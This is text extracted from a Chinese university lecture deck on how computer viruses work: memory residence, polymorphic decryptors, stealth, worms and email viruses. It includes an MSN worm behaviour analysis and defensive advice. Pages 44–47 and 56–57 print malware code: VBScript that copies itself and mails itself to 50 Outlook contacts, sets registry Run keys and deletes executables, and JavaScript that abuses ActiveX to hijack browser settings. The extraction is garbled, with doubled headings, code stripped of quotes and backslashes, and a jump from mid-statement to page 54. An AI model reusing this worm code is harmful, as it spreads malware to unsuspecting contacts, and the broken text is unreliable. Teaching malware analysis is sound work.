计算机病毒技术特征优秀课件.ppt
计算机病毒技术特征第1页,本讲稿共74页一、常见计算机病毒的技术特征一、常见计算机病毒的技术特征驻留内存驻留内存病毒变种病毒变种EPO(Entry Point Obscuring)技术)技术抗分析技术(加密、反跟踪)抗分析技术(加密、反跟踪)隐蔽性病毒技术隐蔽性病毒技术多态性病毒技术多态性病毒技术插入型病毒技术插入型病毒技术超级病毒技术超级病毒技术第2页,本讲稿共74页破坏性感染技术破坏性感染技术病毒自动生产技术病毒自动生产技术网络病毒技术网络病毒技术第3页,本讲稿共74页1 驻留内存驻留内存:DOS TSRDOS系统区内存控制块(MCB)内存块1为病毒分配的内存块内存块2为病毒分配一块内存高端内存区域视频内存块中断向量表空闲区域病毒代码空闲区域空闲区域空闲区域DOS病毒驻留内存位置示意图第4页,本讲稿共74页1 驻留内存:引导区病毒的内存驻留驻留内存:引导区病毒的内存驻留大小在1K或者几K为了避免用户可以很容易的觉察到系统可用内存的减少,一些病毒会等待DOS完全启动成功,然后使用DOS自己的功能分配内存。不用考虑重载。第5页,本讲稿共74页1 驻留内存:驻留内存:Windows环境下病毒的环境下病毒的内存驻留内存驻留三种驻留内存的方法由于Windows操作系统本身就是多任务的,所以最简单的内存驻留方法是将病毒作为一个应用程序,病毒拥有自己的窗口(可能是隐藏的)、拥有自己的消息处理函数;另外一种方法是使用DPMI申请一块系统内存,然后将病毒代码放到这块内存中;第三种方法是将病毒作为一个VXD(Win3.x或者Win9x环境下的设备驱动程序)或者在WinNTWin2000下的设备驱动程序WDM加载到内存中运行。第6页,本讲稿共74页防止重载的方法传统的防止重入方法禁止启动两个实例对于VXD病毒静态加载时,病毒会在“SYSTEM.INI”文件中包含加载设备驱动程序的一行信息;动态加载时,可能使用某些英特尔CPU的一些特殊状态位来表示病毒是否存在于内存中(CIH病毒就采用了这种方法)。第7页,本讲稿共74页1 驻留内存:宏病毒的内存驻留方法驻留内存:宏病毒的内存驻留方法病毒随着宿主程序而被加载并且一直存在于系统中,所以从某种意义上,宏病毒都是内存驻留病毒。宏病毒通过检测自己的特征防止重入。第8页,本讲稿共74页2 病毒变种病毒变种变形变种新品种两种方式:手工变种自动变种(MutationEngine:变形机)保加利亚的DarkAvenger的变形机最著名。第9页,本讲稿共74页分类第一类,具备普通病毒所具有的基本特性,然而,病毒每感染一个目标后,其自身代码与前一被感染目标中的病毒代码几乎没有三个连续的字节是相同的,但这些代码及其相对空间的排列位置是不变动的。这里称其为一维变形病毒。第二类,除了具备一维变形病毒的特性外,并且那些变化的代码相互间的排列距离(相对空间位置)也是变化的,有的感染文件的字节数不定。这里称其为二维变形病毒。第三类,具备二维变形病毒的特性,并且能分裂后分别潜藏在几处,随便某一处的子病毒被激发后都能自我恢复成一个完整的病毒。病毒在附着体上的空间位置是变化的,即潜藏的位置不定。例如,在某台机器中,病毒的一部分可能藏在机器硬盘的主引导区中,另外几部分也可能潜藏在可执行文件中,也可能潜藏在覆盖文件中,也可能潜藏在系统引导区,也可能另开垦一块区域潜藏等等。在另一台被感染的机器内,病毒可能又改变了其潜藏的位置。这里称其为三维变形病毒。第四类,具备三维变形病毒的特性,并且,这些特性随时间动态变化。例如,在染毒的机器中,刚开机时病毒在内存里变化为一个样子,一段时间后又变成了另一个样子,再次开机后病毒在内存里又是一个不同的样子。这里称其为四维变形病毒。第10页,本讲稿共74页3 EPO(Entry Point Obscuring)技术技术为什么要采用EPO技术呢?杀毒技术提高-防止被发现-EPO三种实现方法:最早的EPO通过改变程序入口处的代码实现的。简单但无用把宿主程序的任意位置的指令替换为跳转语句。难点在于定位一个完整的指令(类似于一个反编译器)PATCHIAT的函数。第11页,本讲稿共74页如果在一段代码中有一条指令:228738fdff15eb0f107dcall7d100febh把它替换成新的指令CallAddressofvirus在病毒体内还要再次调用Call7d100febh来完成宿主程序的功能。代码如下:dwff15h;ff15eb0f107d的前缀backaddrdd0;存放ff15eb0f107d的后缀,这个后缀是变化的在病毒代码中,把backaddr的值动态的改为Call7d100febh指令编译后的后缀。第12页,本讲稿共74页4 抗分析技术抗分析技术加密技术:这是一种防止静态分析的技术,使得分析者无法在不执行病毒的情况下,阅读加密过的病毒程序。反跟踪技术:使得分析者无法动态跟踪病毒程序的运行。Win95.Flagger病毒第13页,本讲稿共74页4 抗分析技术:自加密技术抗分析技术:自加密技术数据加密(信息加密)例如:6.4计算机病毒就是这样处理的,计算机病毒发作时将在屏幕上显示的字符串被用异或操作的方式加密存储。1575病毒加密数据文件。加密文件名COMMAND.COM病毒代码加密ChineseBomb把宿主程序前6个字节加密并转移位置。1701/1704用宿主程序的长度作为密钥加密代码。第14页,本讲稿共74页4 抗分析技术:反跟踪技术抗分析技术:反跟踪技术DOS下,修改int0-3中断Windows下:封锁键盘输入关闭屏幕显示修改堆栈指令程序运行计时动态地生成指令代码第15页,本讲稿共74页5 隐蔽性病毒技术隐蔽性病毒技术引导型隐藏方法一感染时,修改中断服务程序使用时,截获INT13调用DOS应用程序原来的INT13H服务程序DOS下的杀毒软件病毒感染后的INT13H服务程序普通扇区普通扇区被病毒感染的扇区被病毒感染的扇区的原始扇区读扇区调用读请求读请求返回数据返回数据返回数据第16页,本讲稿共74页引导型隐藏方法二针对杀毒软件对磁盘直接读写的特点。截获INT21H,然后恢复感染区最后,再进行感染DOS命令解释程序(COMMAND.COM)感染后的INT 21H功能40H(加载一个程序执行)用户敲入AV.EXE 执行反病毒程序恢复被病毒感染的扇区为原来的内容原来的INT21H功能重新感染扇区返回DOS命令解释程序(COMMAND.COM)第17页,本讲稿共74页文件型病毒的隐藏技术文件型病毒的隐藏技术拦截(API,INT调用)访问恢复再感染。例如,改变文件大小病毒,dir病毒等DOS INT21H调用INT13H(直接磁盘访问)列目录功能(FindFirst、FindNext)读写功能(Read、Write)执行功能(EXEC)其他功能(rename等)视窗操作系统下,支持长文件名的扩展DOS调用隐藏病毒扇区列目录时显示感染前的文件大小读写文件看到正常的文件内容执行或者搜索时隐藏病毒在支持长文件名的系统隐藏自身第18页,本讲稿共74页宏病毒的隐藏技术宏病毒的隐藏技术删除相关的菜单项:“文件模板”或者“工具宏”使用宏病毒自己的FileTemplates和ToolsMacro宏替代系统缺省的宏第19页,本讲稿共74页6 多态性病毒技术多态性病毒技术多态病毒就是没有特殊特征码的病毒,这种病毒无法(或极难)用特征码扫描法检测到。方法:使用不固定的密钥或者随机数加密病毒代码运行的过程中改变病毒代码通过一些奇怪的指令序列实现多态性BASIC,Shell等解释性语言可以在一行包括很多语句。第20页,本讲稿共74页使用加密技术的多态性使用加密技术的多态性MOV reg_1,countMOV reg_2,keyMOV reg_3,offsetLOOP:xxx byte ptr reg_3,reg_2DEC reg_1Jxx LOOP其中,reg_1、reg_2和reg_3是从AX、BX、CX、DX、SI、DI、BP中随机挑选的寄存器,感染不同的文件,解密代码使用随机的寄存器count是加密数据的长度,key是加密的密钥,offset是加密代码的偏移量,感染的时候,这些数值都是随机生成的,不同的感染都不一样xxx是XOR、ADD、SUB等不同运算指令的通称,使用什么运算指令是感染的时候随机选择的Jxx是ja、jnc等不同条件跳转指令的通称,使用什么跳转指令也是感染的时候随机选择的加密后的病毒代码第21页,本讲稿共74页改变可执行代码技术的多态病毒改变可执行代码技术的多态病毒基本上都使用在宏病毒中,其他病毒少见。宏语言都是以BASIC为基础的。引导型病毒在引导区或者分区表中,包含了一小段代码来加载实际的病毒代码,这段代码在运行的过程中是可以改变的。文件型病毒“厚度”(Ply)病毒“TMC”病毒第22页,本讲稿共74页多态病毒的级别半多态:半多态:病毒拥有一组解密算法,感染的时候从中间随机的选择一种算法进行加密和感染。具有不动点的多态:具有不动点的多态:病毒有一条或者几条语句是不变的(我们把这些不变的语句叫做不动点),其他病毒指令都是可变的。带有填充物的多态:带有填充物的多态:解密代码中包含一些没有实际用途的代码来干扰分析者的视线。算法固定的多态:算法固定的多态:解密代码所使用的算法是固定的,但是实现这个算法的指令和指令的次序是可变的。算法可变的多态:算法可变的多态:使用了上述所有的技术,同时解密算法也是可以部分或者全部改变的。完全多态:完全多态:算法多态,同时病毒体可以随机的分布在感染文件的各个位置,但是在运行的时候能够进行拼装,并且可以正常工作。第23页,本讲稿共74页查杀技术对于前面3种多态病毒,可以使用病毒特征码或者改进后的病毒特征码对于第4种多态病毒,可以增加多种情况的改进后的特征码至于第5和第6种多态病毒,依靠传统的特征码技术是完全无能为力的。最好的办法是虚拟执行技术。第24页,本讲稿共74页7 插入型病毒技术插入型病毒技术DOS下较少PE病毒大多数都是插入型病毒例如,CIH第25页,本讲稿共74页8 超级病毒技术超级病毒技术超级病毒技术就是在计算机病毒进行感染、破坏时,使得病毒预防工具无法获得运行机会的病毒技术。技术较难实现。和杀毒技术相比,具有时效性。第26页,本讲稿共74页9 破坏性感染技术破坏性感染技术破坏性感染病毒是针对计算机病毒消除技术的一项病毒技术。实例:Burge病毒是这类病毒的典型代表,该病毒会使宿主文件头部丢失560字节;Hahaha病毒会使宿主程序丢失13592字节。传播性差-破坏面小在潜伏期长的情况下,其传播性可以有所改观。第27页,本讲稿共74页10 病毒自动生产技术病毒自动生产技术针对病毒分析的技术两种类型:根据简单的操作,自动生成病毒(PE,宏病毒等)用自动生成技术实现变种(MutationEngine)第28页,本讲稿共74页11 网络病毒技术网络病毒技术网络病毒是指以网络为平台,对计算机产生安全威胁的所有程序的总和.常见的几种:木马病毒(木马病毒(Trojan)蠕虫病毒(蠕虫病毒(Worm)邮件病毒邮件病毒网页病毒网页病毒第29页,本讲稿共74页二、流行病毒的关键技术二、流行病毒的关键技术蠕虫病毒蠕虫病毒利用利用Outlook漏洞编写病毒漏洞编写病毒Webpage中的恶意代码中的恶意代码流氓软件流氓软件第30页,本讲稿共74页1 蠕虫病毒蠕虫病毒蠕虫这个名词的由来是在1982年,Shock和Hupp根据TheShockwaveRider一书中的概念提出了一种“蠕虫(Worm)”程序的思想。蠕虫(Worm)是病毒的一种,它的传播通常不需要所谓的激活。它通过分布式网络来散播特定的信息或错误,进而造成网络服务遭到拒绝并发生死锁。具有病毒共性:如传播性、隐蔽性、破坏性等独有的性质:不利用文件寄生,对网络造成拒绝服务,以及和黑客技术相结合等等第31页,本讲稿共74页两类:一种是面向企业用户和局域网而言,这种病毒利用系统漏洞,主动进行攻击,可以对整个互联网可造成瘫痪性的后果。以“红色代码”、“尼姆达”以及最新的“SQL蠕虫王”为代表。另外一种是针对个人用户的,通过网络(主要是电子邮件、恶意网页形式)迅速传播的蠕虫病毒,以爱虫病毒、求职信病毒为代表。和普通病毒的区别:普通病毒普通病毒蠕虫病毒蠕虫病毒存在形式存在形式寄存文件独立程序传传染机制染机制宿主程序运行主动攻击传传染目染目标标本地文件网络计算机第32页,本讲稿共74页蠕虫病毒的特性第一,利用漏洞主动进行攻击第二,病毒制作技术新第三,与黑客技术相结合,潜在的威胁和损失更大第四,传染方式多第五,传播速度快第六,清除难度大第七,破坏性强第33页,本讲稿共74页蠕虫病毒的机理蠕虫病毒由两部分组成:一个主程序和另一个是引导程序。主程序收集与当前机器联网的其他机器的信息。利用漏洞在远程机上建立引导程序。引导程序把“蠕虫”病毒带入了它所感染的每一台机器中。当前流行的病毒主要采用一些已公开漏洞、脚本、电子邮件等机制进行传播。例如,IRC,RPC等漏洞。第34页,本讲稿共74页蠕虫病毒实例MSN蠕虫病毒1.基本特征:名称:IM-Worm.Win32.Webcam.a原始大小:188,928字节压缩形式:PESpin编写语言:MicrosoftVisualBasic6.0文件名称:LMAO.pif,LOL.scr,naked_drunk.pif等。第35页,本讲稿共74页2.行为分析:(1)蠕虫运行后,将释放一个名为CZ.EXE文件到C盘根目录,并将它拷贝到%system%目录下,文件名为winhost.exe。然后,将文件属性设置为隐藏、只读、系统,同时将该文件创建时间改成同系统文件日期一样,进行欺骗迷惑。同时蠕虫会在C盘跟目录随机生成一个文件,扩展名为PIF或EXE等,该文件用来向MSN好友传播。此外,病毒还会在%system%目录下生成msnus.exe,该文件为蠕虫自身拷贝。第36页,本讲稿共74页(2)将自身加入到注册表启动项目保证自身在系统重启动后被加载:位置:SoftwareMicrosoftWindowsCurrentVersionRun键名:win32键值:winhost.exe位置:SoftwareMicrosoftWindowsCurrentVersionRunServices键名:win32键值:winhost.exe第37页,本讲稿共74页(3)蠕虫病毒会在C盘根目录生成一个图片文件,名字为sexy.jpg,并调用jpg关联程序打开该图片。一般情况下,会用IE打开该图片,打开后效果如下图。(4)开启本地TCP10 xx端口,频繁连接目标:10.0.1.128:8080,接受黑客控制。(5)查找MSN窗口,如果存在,则向好友列表中发送消息传播自身。第38页,本讲稿共74页3.防范方案:(1)手工清除。按照上面的行为分析,终止并删除相关进程文件,修复注册表。(2)用户可以避免接收MSN上发来的陌生附件,包括扩展名为EXE或SCR等的附件,来预防该蠕虫。第39页,本讲稿共74页如何防范蠕虫预防第一工具保护定期扫描你的系统更新你的防病毒软件不要轻易执行附件中的EXE和COM等可执行程序不要轻易打开附件中的文档文件第40页,本讲稿共74页不要直接运行附件邮件程序设置谨用预览功能卸载ScriptingHost警惕发送出去的邮件第41页,本讲稿共74页2 利用利用Outlook漏洞编写病毒漏洞编写病毒电子邮件成为新型病毒的重要载体利用Outlook漏洞传播的病毒:“爱虫(ILoveYou)”“美丽杀(Melissa)”-宏病毒“库尔尼科娃”“主页(HomePage)”“欢乐时光(HappyTime)”第42页,本讲稿共74页邮件病毒分类附件方式:病毒的主要部分就隐藏在附件中。“主页(HomePage)”和“爱虫(ILoveYou)”病毒,它们的附件是VBS文件,也就是病毒关键部分。邮件本身:病毒并不置身于附件,而是藏身于邮件体之中。“欢乐时光(HappyTime)”病毒就是藏身于邮件体中,一旦用户将鼠标移至带毒邮件上,还未阅读邮件就已经中毒了。嵌入方式:病毒仅仅把电子邮件作为其传播手段。“美丽杀(Melissa)”是一种隐蔽性、传播性极大的Word97/2K宏病毒。尽管其核心内容是宏病毒,但在病毒体内有一块代码专门用来传播。当条件符合时,打开用户的电子邮件地址,向前50个地址发送被感染的邮件。第43页,本讲稿共74页电子邮件型病毒的传播原理电子邮件型病毒的传播原理自我复制Setfso=CreateObject(Scripting.FileSystemObject)fso.GetFile(WScript.ScriptFullName).Copy(C:temp.vbs)这么两行代码就可以将自身复制到c盘根目录下temp.vbs这个文件。第44页,本讲稿共74页传播电子邮件病毒是通过电子邮件传播的。Setola=CreateObject(Outlook.Application)OnErrorResumeNextForx=1To50SetMail=ola.CreateItem(0)Mail.to=ola.GetNameSpace(MAPI).AddressLists(1).AddressEntries(x)Mail.Subject=BetreffderE-MailMail.Body=TextderE-MailMail.Attachments.Add(C:temp.vbs)Mail.SendNextola.Quit第45页,本讲稿共74页调整脚本语言的超时设置。dimwscr,rrsetwscr=CreateObject(WScript.Shell)rr=wscr.RegRead(HKEY_CURRENT_USERSoftwareMicrosoftWindowsScriptingHostSettingsTimeout)if(rr=1)thenwscr.RegWriteHKEY_CURRENT_USERSoftwareMicrosoftWindowsScriptingHostSettingsTimeout,0,REG_DWORDendif第46页,本讲稿共74页修改注册表,使得每次系统启动时自动执行脚本regcreateHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32,dirsystem&MSKernel32.vbsregcreateHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWin32DLL,dirwin&Win32DLL.vbsMSKernel32.vbs和Win32DLL.vbs是病毒脚本的一个副本第47页,本讲稿共74页破坏性语句打开磁盘格式化窗口Setobj=Wscript.CreateObject(“Wscript.Shell”)Obj.Run“rundll32.exeshell32.dll,SHFormatDrive”打开Windows关闭窗口Setobj=Wscript.CreateObject(“Wscript.Application”)Obj.ShutdownWindows删除当前目录中所有的.exe文件Setobj=Wscript.CreateObject(“Wscript.Shell”)Obj.Run(“C Webpage中的恶意代码中的恶意代码WebPage中的恶意代码主要是指某些网站使用的恶意代码。这些代码打着是给用户加深“印象”、提供“方便”的旗号做令人厌恶的事情。“万花谷”病毒第54页,本讲稿共74页脚本病毒基本类型脚本病毒基本类型第一,基于JAVAScript的脚本病毒第二,基于VBScript的脚本病毒可以在Office,浏览器、Outlook中运行,危害性较大。第三,基于PHP的脚本病毒第四,脚本语言和木马程序结合的病毒第55页,本讲稿共74页病毒的工作机理病毒的工作机理病毒利用了下面这段JavaScript代码修改了HKLMSOFTWAREMicrosoftInternetExplorerMain和HKCUSoftwareMicrosoftInternetExplorerMain中的WindowTitle这个键的值。同时,病毒还修改了用户的许多IE设置,如消除运行(RUN)按钮、消除关闭按钮、消除注销按钮、隐藏桌面、隐藏盘符、禁止注册表等。以下就是这个病毒的代码:第56页,本讲稿共74页document.write();/该函数是现在收藏夹里增加一个站点functionAddFavLnk(loc,DispName,SiteURL)varShor=Shl.CreateShortcut(loc+DispName+.URL);Shor.TargetPath=SiteURL;Shor.Save();/该函数是病毒的主函数,实现COOKIES检查、注册表修改等functionf()try第57页,本讲稿共74页/声明一个ActiveX对象ActiveXinitializationa1=document.applets0;a1.setCLSID(F935DC22-1CF0-11D0-ADB9-00C04FD58A0B);/创建几个实例a1.createInstance();Shl=a1.GetObject();a1.setCLSID(0D43FE01-F093-11CF-8940-00A0C9054228);a1.createInstance();FSO=a1.GetObject();a1.setCLSID(F935DC26-1CF0-11D0-ADB9-00C04FD58A0B);a1.createInstance();Net=a1.GetObject();tryif(documents.cookies.indexOf(Chg)=-1)/设置IE起始页Shl.RegWrite(HKCUSoftwareMicrosoftInternetExplorerMainStartPage,http:/